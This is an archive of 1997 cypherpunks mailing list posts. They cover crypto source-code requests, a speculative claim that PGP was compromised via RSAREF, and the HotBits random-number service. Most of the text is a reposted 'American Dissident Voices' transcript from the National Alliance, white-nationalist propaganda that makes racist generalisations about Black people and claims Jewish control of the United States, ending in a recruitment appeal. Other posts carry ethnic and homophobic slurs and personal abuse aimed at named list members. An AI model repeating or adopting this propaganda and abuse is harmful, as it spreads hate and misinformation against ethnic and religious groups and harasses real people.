From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 15:30:19 -0800 (PST)
Subject: VSA2048 Cryptography Module Source Code
In-Reply-To: <970314174037_-1137100138@emout02.mail.aol.com>
Message-ID: <L8wk4D28w165w@bwalk.dm.com>


DataETRsch at aol.com writes:

> Anyone interested in receiving the source code of VSACM should e-mail
> DataETRsch at aol.com with VSACM V2.0 Source Code Request in the subject line.
> (BTW, about that "if they come in pretty disks" line, very funny.)

Please observe the difference between honest crypto vendors and the lying
Arab snake oil salesmen who peddle their web server without source code and
threaten to sue anyone who questions its security.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From an7575 at anon.nymserver.com  Fri Mar 14 15:57:38 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Fri, 14 Mar 1997 15:57:38 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <199703142357.QAA03317@shaman.lycaeum.org>



Peter Trei wrote:
> Some handsome devil named "Truthmonger" writes:
 
> >   I stated my case for contending that PGP=>2.5 has been compromised,
> > and got back wild-eyed demands for proof of that which I did not
> > claim, mainly, that PGP had been 'broken.'
> 
> >   To reiterate my original observations:
> > 1. The development of RSA was funded and controlled by the spooks.
> > i.e. - The National Science Foundation and the Navy.
> > 2. The campaign of persecution against Phil Zimmerman ground to a
> > halt once he agreed to PGP using the spook-developed RSAREF subroutines
> > to implement the RSA functions, instead of PGP's original subroutines.
> 
> >   If people with guns came to me and told me that software I had
> > written now had to use their subroutines, instead of my own, then
> > I would consider my software 'compromised', regardless of whether
> > or not I could immediately discern any anomalies in it.
> >   It is far, far easier to 'build' a back-door, than to 'find' one.
> 
> His main arguement rests on the fact that the later versions
> of PGP use RSAREF, rather than Phil's own code.

  It is rather surprising to have anyone on this list actually address
the issues I raised but, all the same, you seem to want to label the
detail you wish to address as my 'main' argument.
 
> As support of the first claim, he claims:
> > 1. The development of RSA was funded and controlled by the spooks.
> > i.e. - The National Science Foundation and the Navy.
 
> If it's the algorithm, you may or may not have the intellectual capacity
> to verify it yourself - if you don't you have no business telling us it's
> compromised, and if you do, either publish the problem (and claim your
> 15 minutes of fame), or admit there is no hole you are aware of.
> There are plenty of people on this list who can follow the math, even
> if you can't.

  There seems to be a decided lack of people on this list who can follow
the English language and simply stated concepts.
  Once again, I am asked to 'admit' what I have already made plain.
  What is this neurosis that everyone seems to have regarding PGP which
leads them to demand hard-evidence of malfeasance before suggesting
that one should not bend over in blind trust for encryption systems
whose development was funded by the spooks, and whose method of
implementation is a result of threats and coercion?
  Perhaps the government should have named their Key Escrow schemes 
"Zimmerman Escrow," instead, in order to take advantage of the bum-buddy
mentality among the cypherpunks which seems to hold issues
surrounding their holy icon to a different standard than other systems
of encryption.

  The denziens of the cypherpunks list often have math skills far above
those to be found in some of the related 'science' forums, but they do
not have a monopoly on clever use and manipulation of numbers, bits
and bytes.
  The Navy's Onion Routing system is more sophisticated than their first
cousins, the cypherpunks remailers, and there is no 'visible' hole or
back-door in their work. I have not seen any great rush by anyone with
half-a-brain, however, to indicate the remailers are being abandoned in
favor of the Navy's product.
  Why is that? Could it have anything to do with the same issues I have
raised in regard to RSA implementation?

  I doubt that it would come as a surprise to anyone to know that the
Navy also has mathematicians on the payroll, nor that their tenacles
in the scientific community are not all wearing uniforms and saluting
when their superiors enter the room.
  I also doubt that there are not those among the cypherpunks who are
capable of writing a subroutine to take advantage of unique attributes
of individual algorithms.
  
> RSA has
> *not* had a good relationship with the USG, as those who have been
> following the matter over the years know well. Most recently, you
> will notice that it has licensed some of it's patents to a Japanese
> chip maker in an effort to avoid problems with US export
> restrictions. Is this the action of a USG patsy?

  Their actions resulted in their product infiltrating a market which
is noted for being extremely hard to penetrate. Victims of con games
are seldom fooled by the 'bad guy' in the ruse.

> PGP 2.5 was released in March 1994, about a year after Phil was
> indicted. It took until January 1996 for the indictment to be dropped;
> nearly another two years. If a deal was struck, why did it take so
> long?

  I have never contended that Mr. Zimmerman was part of any direct
"deal" with the government or the prosecutors.
  His reputation capital, in my own mind, is high enough that I am
certain that it would take a phenomenal amount of pressure in order
to get him to betray his principles.
  On the other hand, only a fool would fail to take into consideration
the fact that the government is fully capable of applying a phenomenal
amount of pressure when they feel the stakes are high enough.
  The government, indeed, did not kiss Zimmerman 'on the lips' after 
the 'deal' with RSA was arranged, but they let his case simply run
its natural course, with no additional pressure being applied.

> The government simply ran out of legal pretexts under
> which to harass him.

  Take a whiff of some smelling-salts, Peter. The government 'never' 
runs out of pretexes under which to harass someone who remains an
actionable target in their minds.
  (Where were *you* when J.F.K was shot?)
 
> Now that your supporting assertions have been shown to be flawed,

  ...battered, but still standing.

> let's return to the original claims.
 
> 1. "PGP => 2.5 has been compromised."
> 2. "It is far, far easier to 'build' a back-door, than to 'find'
>     one."
 
> The problem, TM, is that we have full source code, and anyone
> with the intelligence and knowledge required can check it
> independently.

  Check it for what? For 'tricks and techniques' that you *know*
about?
  The fact that an individual has taught you 'everything you know'
does not lead to the conclusion that they have taught you everything
that 'they' know.
  I am sure you will agree, as well, that if a teenage hacker violates
your system, leaving its entrails shredded, that it is small consolation
that their math skills are not on a par with your own. Do people with
superior knowledge of virus' leave their systems open to attack from
unknown techniques? I don't think so.
  Several years ago, I emailed MicroSoft a short post suggesting that
they take steps to prevent their use of macros from being abused. The
reply I received, politely telling me to 'piss off,' informed me that
virus' could *not* be transmitted via "ASCII" files.

> Your second claim, that it is easier to build a backdoor than to
> find one, is true but not pertinant. Let's try an analogy.
 
> 1. You buy a house from a builder. You, being paranoid, wonder if
> the builder has included a secret door to enable him to
> enter the house without your permission. You investigate what you
> can, but in the end are left with some doubts.
 
> 2. You buy a set of blueprints from the builder, and examine them
> carefully for weaknesses. You then buy a plot of land of your choice,
> hire the workers you want, get materials from any supplier you wish.
> You supervise the construction yourself down to the last detail.
> Others who have purchased the same blue prints include trusted
> independent architects and construction engineers, who concur with you
> thatno hidden back doors can be found in the design. At this
> point, how worried are you that the builder has left himself an
> unauthorized entry?

  This is the point at which I realize that the builder has been banging
my wife, and that he 'leaked' a rumor of a 'secret' back-door so that
I would be too busy to notice my wife letting him in the "back door"
that was plainly visible in the blueprints.
  As well, if the blueprint bore the name of Doug Henning, would you be
as secure in your belief that there were no secret doors in place?

> What it comes down to "TM" is: Put up or shut up. 

  Your points are well taken, but far off the mark of the issue I 
raised, which was one of PGP having been "compromised." You make a
strong case for the mathematical strength of RSA implementation 
having been scrupulously investigated, although not an airtight one,
by any means. However, the issue of this or that system having been
"compromised" has more to do with the concept, rather than the
mathematics, of security.

  At the risk of being labeled a tenacle of Dr. Vulis, I will use a
"cocksucker" analogy, this being an area in which all factions of the
cypherpunks list seem to claim knowledge (although on 'opposite'
sides of the fence).

  In the militaristic/spook scheme of things, a system or entity is 
deemed to be "compromised" if there is a *possibility* of what is 
sometimes called a *known/unknown* (KU) factor having been introduced 
into a *controlled* situation or system.
  i.e. During the Cold War, homosexuality was one of the fulcrums which
could be used to pry open the security bonds between an agent and that
agent's controller.
   This was a 'known' factor which raised alarms, and an agent or entity
was deemed to be "compromised," regardless of whether this factor was
considered to be 'unknown' to the enemy. Trusted systems, as we call
them today, were automatically considered to be compromised if there
was reason to suspect that they *could have been* compromised, even if
it was 'unknown' whether or not they actually *were* compromised.

  The case of Alan Turning is a prime example, here. Revelation that 
there existed a fulcrum point which enemy agents could well have used
to compromise his work left it open to valid suspicion.
  It then behooved those with an interest in security matters to 
scrutinize not only his 'numbers,' but also his 'history,' and that
of those around him. It also became in their best interest to assume
that his work *had* been compromised, and to take measures to modify
or alter it in ways that would conceivably affect any methodologies
which were based on hidden designs or schemes.

 
> Respond in a substantive manner. So far, you've avoided doing so.

  The issues I raised were not of 'substance,' but of 'shadows.' 
  Had RSA development and implementation been funded and controlled by
the KGB, then I seriously doubt if the U.S. Military would have embraced
it, no matter what the *numbers* showed.
  If cypherpunks have a lower standard of suspicion, then I am certain
the government would be happy to provide them with *all* the software
they care to use.

>  You can't spread
> FUD in a situation where there is no unknown to Fear, no Uncertainty
> to deal with, and no Doubt that we have all the knowledge we need.

  If there is "no unknown to Fear," then perhaps you would be so kind
to supply me with "substantive" information such as all of the top-
secret government documents concerning encryption and the development
of RSA.
  If there is "no Uncertainty to deal with," then I assume that all
mathematical possibilities have been discovered and are known to all
members of the list, and that there will be no future developments in
the field of mathematics or encryption.
  It there is "no Doubt that (you) have all the knowledge (you) need,"
then there is a fellow I met in Chicago who runs a Pea/Shell game and,
I am certain, would be happy to give you a 'chance' to exercise your
Doubt-muscles.

  Thank you for at least dealing with matters that are in the same
ballpark as the issues I raised, as opposed to arguing over whether
or not the Dodgers could beat the Sharks.
 
TruthMonger







From toto at sk.sympatico.ca  Fri Mar 14 16:43:58 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 14 Mar 1997 16:43:58 -0800 (PST)
Subject: VSA2048 Cryptography Module Source Code
In-Reply-To: <970314174037_-1137100138@emout02.mail.aol.com>
Message-ID: <3329EC05.474D@sk.sympatico.ca>


DataETRsch at aol.com wrote:
> Anyone interested in receiving the source code of VSACM should e-mail
> DataETRsch at aol.com with VSACM V2.0 Source Code Request in the subject line.
> (BTW, about that "if they come in pretty disks" line, very funny.)

  I am happy to see that DataETRsch has developed a sense of humor since
their last visit to the list.
  The CypherPunks name is used by some as a synonym for 'irreverance'.

  The down-side of exposing your product to the scrutiny of the
CypherPunks is that it will be shaken down, battered and bruised,
and you will be confronted with hard questions and skepticism.
  The up-side is that in between the irreverance and the skepticism,
you will get feedback on your product from people whose knowledge of
encryption and cryptography issues is second to none.

  If CypherPunks can't find holes in your product, then it should
plainly be a feather in your cap. If they do find some holes, then
you are better off to know about them now, as opposed to finding out
far down the road, when you have much greater reputation capital
that could be damaged.

  I hope that you indeed have a strong, secure product to offer, as
I regard strong crypto as being of premiere importance in supporting
privacy and freedom.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cookies_monsters at hotmail.com  Fri Mar 14 17:24:51 1997
From: cookies_monsters at hotmail.com ( C  M)
Date: Fri, 14 Mar 1997 17:24:51 -0800 (PST)
Subject: What's up????.........Re: the Senators Breach either
Message-ID: <199703150124.RAA13611@f18.hotmail.com>


I wanted more info on your outfit, as I saw it on someone's site. What are you
dis'ing me? I got ca. 30 of these, why? 


>From cypherpunks at toad.com Thu Mar 13 17:38:05 1997
>Received: from [206.155.199.12] by smtp1.abraxis.com (NTMail 3.01.03) id
za228903; Thu, 13 Mar 1997 20:43:59 -0500
>Subject: the Senators Breach either
>the either
>Date: Thu, 13 Mar 1997 20:43:59 -0500
>Message-Id: <01435912416227 at abraxis.com>
>Bill but
>If and.  of after
>Case presented and the
>of Bankruptcies current to.  declare longer the the
>whatsoever like To any
>the shall.  direct shall
>or 



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From real at freenet.edmonton.ab.ca  Fri Mar 14 17:48:47 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 14 Mar 1997 17:48:47 -0800 (PST)
Subject: [ADMINISTRATIVIUM] ElGamal
In-Reply-To: <199703141357.FAA11256@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970314184557.63832A-100000@fn2.freenet.edmonton.ab.ca>



Vulis get help.

On Fri, 14 Mar 1997, Anonymous wrote:

> The only `culture' Timmy C[ocksucker] May 
> possesses is that cultivated from his foreskin 
> scrapings.
> 
>            O O  Timmy C[ocksucker] May
>             |
>           \___/
>            \_/
> 






From dthorn at gte.net  Fri Mar 14 19:17:58 1997
From: dthorn at gte.net (Dale Thorn)
Date: Fri, 14 Mar 1997 19:17:58 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332A13F5.3889@gte.net>


TruthMonger wrote:
> Peter Trei wrote:
> > Some handsome devil named "Truthmonger" writes:

> Take a whiff of some smelling-salts, Peter. The government 'never'
> runs out of pretexes under which to harass someone who remains an
> actionable target in their minds.
> (Where were *you* when J.F.K was shot?)

Once you've been labeled a "conspiracy theorist", you should
realize that you've been talking to people who are seeking after
a smaller truth than you are.  Like the newspapers they read,
they'll get the story eventually.

Check out the stiff who's pictured with Phil in the MicroTimes
current issue, his new partner or something.  Phil looks happy,
like they gave him a lifetime supply of double-stuff Oreos.

PGP really needed to be upgraded in several ways that have already
been discussed (briefly!) on the list, but couldn't because:

1. Not enough money to pay to redevelop 60,000+ lines of code that
   would have to be optimized for consumer PC's.

2. BIG pressure from the feds to not implement new technology
  (and by that I don't mean elliptic curves or discrete logs or
   other stuff that was broken years ago).

3. "Competitors" and feds who have years of experience in actual
   disinformation sciences, spreading FUD (this could apply to me,
   of course, but I'm really not that kind of person).






From dlv at bwalk.dm.com  Fri Mar 14 20:40:24 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 20:40:24 -0800 (PST)
Subject: [ADMINISTRATIVIUM] ElGamal
In-Reply-To: <Pine.A41.3.95.970314184557.63832A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <Nu8k4D36w165w@bwalk.dm.com>


Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:

> Vulis get help.

What kind of help can you offer Graham-John

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From stewarts at ix.netcom.com  Fri Mar 14 21:06:20 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 14 Mar 1997 21:06:20 -0800 (PST)
Subject: FWD: Hot and cold running randomness
Message-ID: <3.0.1.32.19970314183200.00640df0@popd.ix.netcom.com>


The following article was on RISKS Digest.
Obviously it's not usable for cryptographic randomness,
since you can't trust the path to be safe from eavesdroppers
(even if you're using SSL/RC4-128, can you trust the far end?
or from denial of service attacks (so be careful about wiring it in),
but sometimes you just want a good-quality random number to seed things,
such as a simulation program, and it might not be a bad thing to
hash in to your entropy pool with locally-derived sources.
------------------------------

Date: Mon, 10 Mar 1997 13:10:36 -0800
From: dwing at Cisco.COM (Dan Wing)
Subject: Hot and cold running randomness

TBTF's 9 Mar 1997 issue carried this item:

#..Hot and cold running randomness
#
#    Perhaps for the first time, anyone with an Internet connection can
#    tap a source of true randomness. The creator of HotBits [16], John
#    Walker <kelvin at fourmilab.ch>, describes it as
#
#      > an Internet resource that brings genuine random numbers, 
#      > generated by a process fundamentally governed by the inherent
#      > uncertainty in the quantum mechanical laws of nature, directly
#      > to your computer... HotBits are generated by timing successive
#      > pairs of radioactive decays... You order up your serving of
#      > HotBits by filling out a [Web] request form... the HotBits
#      > server flashes the random bytes back to you over the Web.
#
#    Walker modified an off-the-shelf radiation detector to interface to
#    a PC-compatible serial port, and ran a cable three floors down from
#    his office to a converted 70,000-litre subterranean water cistern
#    with metre-thick concrete walls, where the detector nestles with a
#    60-microcurie Krypton-85 radiation source.
#
#    If you're in the mood for an anti-Microsoft rant of uncommon eloquence,
#    Walker can supply that too [17].
#
#    Thanks to Keith Bostic <bostic at bostic.com> for the word on this 
#    delightful service.
#
#    [16] <URL:http://www.fourmilab.ch/hotbits/>
#    [17] <URL:http://www.fourmilab.ch/hotbits/source/hotbits-c.html>

An interesting idea, but hopefully no will use it -- it is too easily
spoofed via DNS, and the host itself could be hacked to return the same
'random' number all the time.  (Maybe after we have IPsec, SecDNS, _and_ you
trust the host we could use services like this on the Internet).

Dan Wing  dwing at cisco.com

------------------------------


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From ichudov at algebra.com  Fri Mar 14 21:35:35 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Fri, 14 Mar 1997 21:35:35 -0800 (PST)
Subject: VSACM V2.0 Source Code Request
Message-ID: <199703150531.XAA05190@manifold.algebra.com>


Mr. Ramos -- 

I would appreciate receiving a copy of the source code for your
encryption software, for the purpose of peer review.

Best regards,

	- Igor.





From ichudov at algebra.com  Fri Mar 14 21:43:33 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Fri, 14 Mar 1997 21:43:33 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <33296935.3C5E@gte.net>
Message-ID: <199703150538.XAA05320@manifold.algebra.com>


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Along the lines of poetry festivals and spambots, I may suggest this.
> > When I was 16, I wrote a prose writing program in Pascal. It read a long
> > text and created a table: as the key, it had pairs of words, and as the
> > data, it had list of all words that follow the pair in the index. The
> > table was generated by a single pass through the source text, where
> > there was a moving 3-word window and first two words were used as the
> > key to the third word. The window moves one word at a time.
> > The loop repeats indefinitely. The text that results looks like it was
> > written by a schizophrenic -- it is more or less correct grammatically,
> > uses more or less compatible words and seems to make sense, but the
> > meaning seems to evade the reader. It is an extremely strange and
> > annoying feeling.
> 
> If an actor really "gets into" their part, could you easily tell
> if the schizophrenia is good acting, or is latent in the actor?
> (BTW, does not apply to O.J. Simpson or Ronald Reagan).

I am not sure if I am a really good expert on mental health. Also,
many people do not quite understand what schizophrenia really is
and how it works. It could well be that no one understands it.

> I hope you're not writing Pascal any more.

Not any more...

	- Igor.





From advinfo at dreamon.com  Fri Mar 14 22:12:16 1997
From: advinfo at dreamon.com (Adv Info)
Date: Fri, 14 Mar 1997 22:12:16 -0800 (PST)
Subject: ADV Weekly Transcripts
Message-ID: <332A3D06.43FE@dreamon.com>


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

If you would like to unsubscribe to this service, please e-mail
advinfo at dreamon.com. For more information visit the National Alliance
web site at http://www.natall.com. For patriotic books, tapes and
videos, visit National Vanguard Books Online Catalog at
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------
American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

Reports from Our Correspondents: Racial News from Around the World
by Kevin Alfred Strom 

In this article we will be looking at news items, both profound and
absurd, sent in by ADV listeners around the world, which have been
overlooked or underreported by the controlled media. In a previous
article I detailed a few of the many so-called "hate crimes" that
actually turn out to be hoaxes perpetrated by the so-called oppressed
groups themselves. Just after I filed that article another item was sent
to me which continues the long list of such hoaxes. It's from the
Pensacola News-Journal, June 1, 1996: 

     MIAMI -- A Jewish father and son team were convicted of staging 
     hate crimes by defacing a Jewish school's buses to drum up repair 
     work. 

     Al and Steven Rubin arranged for two teenagers to vandalize school
     buses and spray-paint anti-Semitic slogans and swastikas around 
     Hillel Community Day School last year. 

     . . . Steven Rubin, the school's transportation director, directed 
     repair business to his father, who owned Priority Car Care. The son
     also was accused of faking work for his father, including $79 oil 
     changes billed at $4,000. 

     David Michael Brown, a mechanic who once worked for Al Rubin, 
     testified he acted as the middleman, paying the vandals $50. 

     . . . Steven Rubin was found guilty of nine counts of theft, three
     counts of burglary, two counts of criminal mischief, and burglary 
     conspiracy. Al Rubin was convicted of nine counts of theft. 

In this case, fellow Jews were the monetary victims of this "hate-crime"
hoax but had the real perpetrators never been caught, who would have
been blamed for these incidents? How many such "racist" incidents, which
make their way into the frightening "hate crime" statistics that the
Jewish lobby now requires our police agencies to compile, are in reality
as-yet-unexposed hoaxes? 

* * * 

The San Jose Mercury News reports that two Baltimore Sun reporters paid
$1,000 to slave owners in Sudan for two Sudanese brothers who had been
abducted from their home six years ago and since then had worked as
slaves in the fields. The reporters, after purchasing the pair, granted
them their freedom. 

This recent item demonstrates the absurdity of the controlled media's
anti-White guilt-mongering on the subject of slavery. The enslavement of
one tribe of non-Whites by another tribe of non-Whites, or by their own
tribesmen, is still taking place on the continent of Africa and
elsewhere in the non-White world. 

Slavery in Sudan is notorious, and despite government denials, and more
than one official banning, it still flourishes. It is also endemic in
Mauritania, likewise on a massive, institutionalized scale. In these
cases it is usually Islamic Berbers or Moors who hold Blacks in
captivity, though some Blacks participate in the marketing of their own
kinsmen. Blacks hold other Blacks as slaves in Niger, Nigeria, Senegal,
Sierra Leone, Ethiopia, and Rwanda according to Michael Harris of
Anti-Slavery International. 

Jews, along with European Whites, were prominent in the historic
Atlantic slave trade. That trade lasted for about three hundred years,
until it was abolished by White Europeans. But Blacks had been capturing
and enslaving neighboring tribes since time immemorial, and had been
supplying Arab slavers with their fellow Blacks for 1,000 years before
the Europeans arrived -- and they are still doing it. Scholars estimate
that over 14 million Blacks were transported to the slave bazaars of
Arabia, a greater number than were shipped to North America. At those
slave bazaars, by the way, Blacks were offered up for sale on the same
blocks where White slaves were being sold. In fact some of the
slave-trading Black kingdoms, notably the Ashanti, enslaved all
foreigners they could get their hands on and traded them for Arab gold
and trinkets. These captives sometimes even included Europeans
shipwrecked off western Africa. 

Long before the arrival of the White man, Amerindians owned slaves.
"Slave-catchers" were sent out after battles to round up the enemy
wounded for a lifetime of slavery. In some tribes the slaves accounted
for 15% of the population. Sometimes Indian "potlatch" ceremonies
included the killing of large numbers of slaves just to show off the
wealth of the slave owner. 

In Thailand, Sri Lanka, the Philippines, and other parts of the Third
World, it is well known that parents sell their children, girls and
boys, into slavery to sex club operators who use their young bodies to
attract the shekels, yen, and dollars of "sex tourists," foreign and
domestic, with various types of perversion. Some of these children are
as young as six years old. Many are sent to other countries, and slave
merchants report that they can get five or six times the price for a
child under sixteen as for an adult slave. This differential reflects
the high demand for young sex slaves to satisfy the unnatural urges of
perverts. 

Anti-Slavery International estimates that 55 million children between
the ages of 4 and 14 are enslaved in India. Some work in brothels where
they may endure dozens of sexual violations daily. Some work 18 hour per
day, seven day per week in textile, fireworks, or other manufacturing
sweatshops. These child slaves are often burned, branded with red-hot
irons, starved, whipped, chained, raped, and kept locked in cupboards
for days. 

In the Oaxaca Mountains of Mexico, women often sell their children and
ask few questions about what will become of them. The going rate is from
under $10,000 to about $20,000, depending on the child's complexion and
whether the purchaser is a Mexican or a rich Westerner. The highest
prices are fetched by children whose fathers are White men and who
inherit their fathers' coloration. These are used to supply the huge
adoption market in Europe and America, where abortion has literally
thrown a generation of White children into the trash, forcing would-be
adoptive parents to look elsewhere. A White man traveling in rural
Mexico can often have his choice of young Indians or mestizas to sleep
with -- so anxious are they to give birth to a child of "high value."
The "adoptees" are the lucky ones. Not so lucky are those sold into
lifelong slavery to rich Mexicans, who may treat them as they will.
Unluckier still are those sold to pedophiles and pimps. 

In this short time I have just barely sketched the outlines of slavery
as it existed and still exists, and I haven't even mentioned the
historic enslavement of Whites or the existence of White slavery in
modern Israel, which I wrote about several months ago in this
newsletter. Suffice it to say: Slavery has been a factor in virtually
all human societies since the dawn of history. It has not been a
phenomenon peculiar to White societies, and in a sense quite the
opposite is true. It was White people who first abolished the
institution of slavery, since many rightly came to view it not only as
pernicious to the well-being of the slave, but also degrading to the
master, inimical to the interests of the White laborer, and destructive
of the racial integrity of the nation. It was White people who first
introduced the concepts of self-government and individual freedom and
responsibility into the world. 

The Black writer Orlando Patterson just about said it all on this
subject when he stated: "There was no word for `freedom' in most
non-Western languages before contact with Western peoples." 

* * * 

Let's review a few news items that have crossed the wires recently: In
Baltimore, Maryland, an outfit called Healthy Start Men's Services,
which undoubtedly is funded by your tax money and mine, purports to have
as its purpose teaching inner city Black men how to be good fathers.
According to a report in the San Jose Mercury News, they describe as a
"typical case" a 44-year-old Baltimore man who, during those periods
when he was not incarcerated, fathered eight children by five different
women and who candidly admits he never took fatherhood seriously. If
this is their typical case, I would shudder to think about the bad ones. 

* * * 

LAGOS, NIGERIA -- Newspapers report that over sixty people became sick
after drinking Sun Light dishwashing detergent. The labels were clearly
marked "detergent" but did show a picture of a lemon and the words "real
lemon juice." 

Instances similar to this also were reported, several years ago, in
large, heavily Black metropolitan areas in the United States when
detergent samples were delivered via the mails. 

* * * 

And, on a much more serious note: 

LIBERIA -- Sensi Momoh is a Liberian living in a village to the
northwest of the capital, Monrovia. A civil war has been raging in
Liberia, and a few weeks ago soldiers from one of the factions arrived
in the village. Did they arrive to establish control and enlist the
support of the villagers. No. Garnering support was the farthest thing
from their minds. In fact, when they arrived -- unopposed -- in town the
first things they did were fire their guns at random and ransack the
huts. But that was far, very far, from the worst of it. Listen to Sensi
Momoh's own words: 

     They killed my brother. They opened up his body and took the heart
     out. They put it in a big pan and cooked it in palm butter. Then 
     they ate it. 

Was Sensi Momoh's brother a member of an opposing faction in the civil
war? No. The driving force behind this savagery is not politics, and
this was not an isolated case. The driving force is an ancient African
belief system that posits that by eating certain human body parts the
cannibal may gain in power and strength. 

Many of the refugees from the war, now in camps outside Monrovia and
accessible to the few Western journalists still remaining, described
similar acts of cannibalism, which are believed to confer supernatural
powers upon the bloody feasters. A woman related how she had seen young
soldiers of Alhaji GV Kromah's "United Liberation Movement" cut out the
heart and testicles of five young boys and eat them. While this was
taking place Kromah himself sat as a member of the Council of State in
Monrovia, put there by Western peacemakers trying to reform Liberia's
bloody ways. 

Liberia may be an extreme example, but parallels in Rwanda, Kenya,
Rhodesia, Angola, Katanga, and pre-colonial Africa abound. Absolute
autocracy is the only way that African societies have been able to
maintain a measure of order and peace. The slightest vacuum of authority
results in chaos. 

It is also interesting to note that across Central Africa the eating of
ape meat is commonplace. The Africans indulging in this practice believe
that consuming the ape will endow them with the strength and cunning of
the beast. This is clearly a variant on the beliefs of the cannibals,
and may be a relict of cannibalistic practices which have been at least
partially suppressed. It is hard to imagine that the similarity to
cannibalism is lost on the participants. 

The vice president of the Wildlife Conservation Society, John Robinson,
is worried that the practice of killing and eating apes is so prevalent
that extinction is a real possibility. He stated, "Except in locales
where the hunting is light, the exploitation of most species is not
sustainable." 

The World Society for the Protection of Animals launched a large ad
campaign beginning in 1990 to protect these animals and discourage the
killing and eating of them at ritual feasts. The result was no change in
the African's beliefs or eating habits, but there were charges of
"cultural insensitivity" from the more dedicated equalitarians. 

Foolish indeed are those who think that Western money or "ideals" will
have any lasting effect on the African manner of political succession or
spiritual beliefs. And even more foolish are those who think that we can
become one genetically with the African without becoming like him
intellectually, morally, spiritually, and politically as well. 

* * * 

WASHINGTON, DC -- The most recent crime statistics, as you may have
heard trumpeted in the media, indicate small decreases in violent crime
over the last few years. Despite this, of course, crime is tremendously
greater today than it was before the Third World invasion of America and
the so-called "civil rights" revolution. And I have a healthy skepticism
about these reports of decreasing crime, and I'll tell you why after we
review some of the statistics: Overall crime has diminished slightly,
but some crime levels have exploded. Currently there is one violent
crime every 17 seconds; one property crime every 3 seconds; one murder
every 23 minutes; one forcible rape every 5 minutes; one robbery every
51 seconds; one aggravated assault every 28 seconds; one burglary every
12 seconds; one larceny every 4 seconds; and one motor vehicle theft
every 20 seconds. 

In the next thirty minutes six more women will be raped. 

According to the Department of Justice: In 1960 there were 160 violent
crimes for every 100,000 Americans. 

In 1994 there were 715 violent crimes for every 100,000 Americans. 

They also say that since 1990 violent and property crime have declined
by respectively by 2.2 and 8.5 percent. 

Now those are fascinating figures; but I think that crime in non-White
areas is vastly understated in the statistics for several reasons. 

In some of these areas the crime situation is so bad, crimes are so
omnipresent and so routine, that only a fraction are reported. Secondly,
of those reported some are "lost in the shuffle" of paperwork because of
an inefficient and/or vastly understaffed and overworked police force
who must make the time to deal with "priority situations" and let the
rest slide. Even many of the reported and recorded crimes are not really
investigated, and never show up in arrest or conviction statistics.
Remember that these conditions exist mainly in heavily non-White areas,
so the huge difference between Whites and non-Whites in their propensity
for crime is probably considerably understated. 

I worked for many years in the occupied Washington, DC, area. My work
took me often into the areas where the tour buses (and sometimes even
the U.S. Mail) won't go. I have personal knowledge of what such urban
hells are like. 

* * * 

LOS ANGELES, CALIFORIA -- Those of you who are skeptical of that New Age
therapy, "Past Life Regression," will probably not be surprised at the
innovation of psychiatrist Adrian Finkelstein, which he calls "Future
Life Progression." No slouch, Finkelstein does not merely claim to see
your future incarnations but claims he can "reconstruct" your future
lives so as to ensure that you'll come back as someone rich and famous.
Such a service would undoubtedly be worth millions of dollars, but so
full of altruism is Dr. Finkelstein that he only charges the suckers,
uh, . . . I mean clients, two hundred dollars per hour. 

* * * 

The Israeli newspaper Haaretz published an article by Jewish columnist
Ari Shavit in which Jewish control of the United States was frankly
admitted. The really strange thing is that this column was reprinted on
May 27 by the New York Times, and except for courageous commentator
Joseph Sobran Americans are averting their eyes from the forbidden and
embarrassing truth. 

Shavit is not pleased by the cold-blooded killing committed by his
fellow Israelis in Lebanon. He states in the article: 

     We killed them out of a certain naive hubris. Believing with
     absolute certitude that now, with the White House, the Senate, and
     much of the American media in our hands, the lives of others do not
     count as much as our own. . . . 

It is just as I wrote several months ago -- some Jews now believe that
they can get away with anything. Non-Jewish lives count for nothing. Do
whatever you want, and our spin doctors in the media will keep the
American cattle from lowing. Kill at will, and the President and his
appointees and the Congress will smile and hand you even more billions
of the U.S. taxpayers' money. Remember, "the White House, the Senate,
and much of the American media are in our hands." 

Now if I stated such a thing, or if any White American stated that the
government and the media in this country were "in Jewish hands," we'd be
talking "hate crimes" and "bigotry" and that most terrible crime of all,
"anti-Semitism." Let us thank Ari Shavit for clearing the air and
speaking the truth, and forever making it impossible to deny exactly who
is responsible for America's decline to the status of an occupied
nation. 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.





From softwinter at csts.co.il  Sat Mar 15 00:01:31 1997
